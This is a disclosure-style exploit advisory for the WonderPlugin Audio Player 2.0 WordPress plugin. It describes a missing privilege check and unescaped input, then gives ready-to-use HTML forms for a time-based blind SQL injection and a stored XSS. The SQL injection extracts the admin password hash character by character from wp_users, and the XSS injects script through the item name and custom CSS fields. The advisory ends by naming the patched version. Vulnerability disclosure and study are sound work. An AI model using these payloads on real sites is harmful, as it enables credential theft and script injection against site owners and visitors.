  # Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS # Date: 20-01-2015 # Software Link: http://www.wonderplugin.com/wordpress-audio-player/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps   1. Description   wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).   save_item() uses is_id_exist() in which $id is not escaped properly.   2. Proof of Concept   Login as standard user (created using wp-login.php?action=register) then:   <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item"> <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM <code>wp_users</code> WHERE ID = 1)"> <input type="submit" value="Hack!"> </form>   This SQL will check if first password character user ID=1 is "$".   If yes it will sleep 5 seconds.   For XSS use:   <form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item"> <input type="hidden" name="item[id]" value="1"> <input type="text" name="item[name]" value=&apos;<script>alert(String.fromCharCode(88,83,83));</script>&apos;> <input type="text" name="item[customcss]" value=&apos;</style><script>alert(String.fromCharCode(88,83,83));</script>&apos;> <input type="submit" value="Hack!"> </form>   It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:   http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items   http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html   3. Solution:   Update to version 2.1
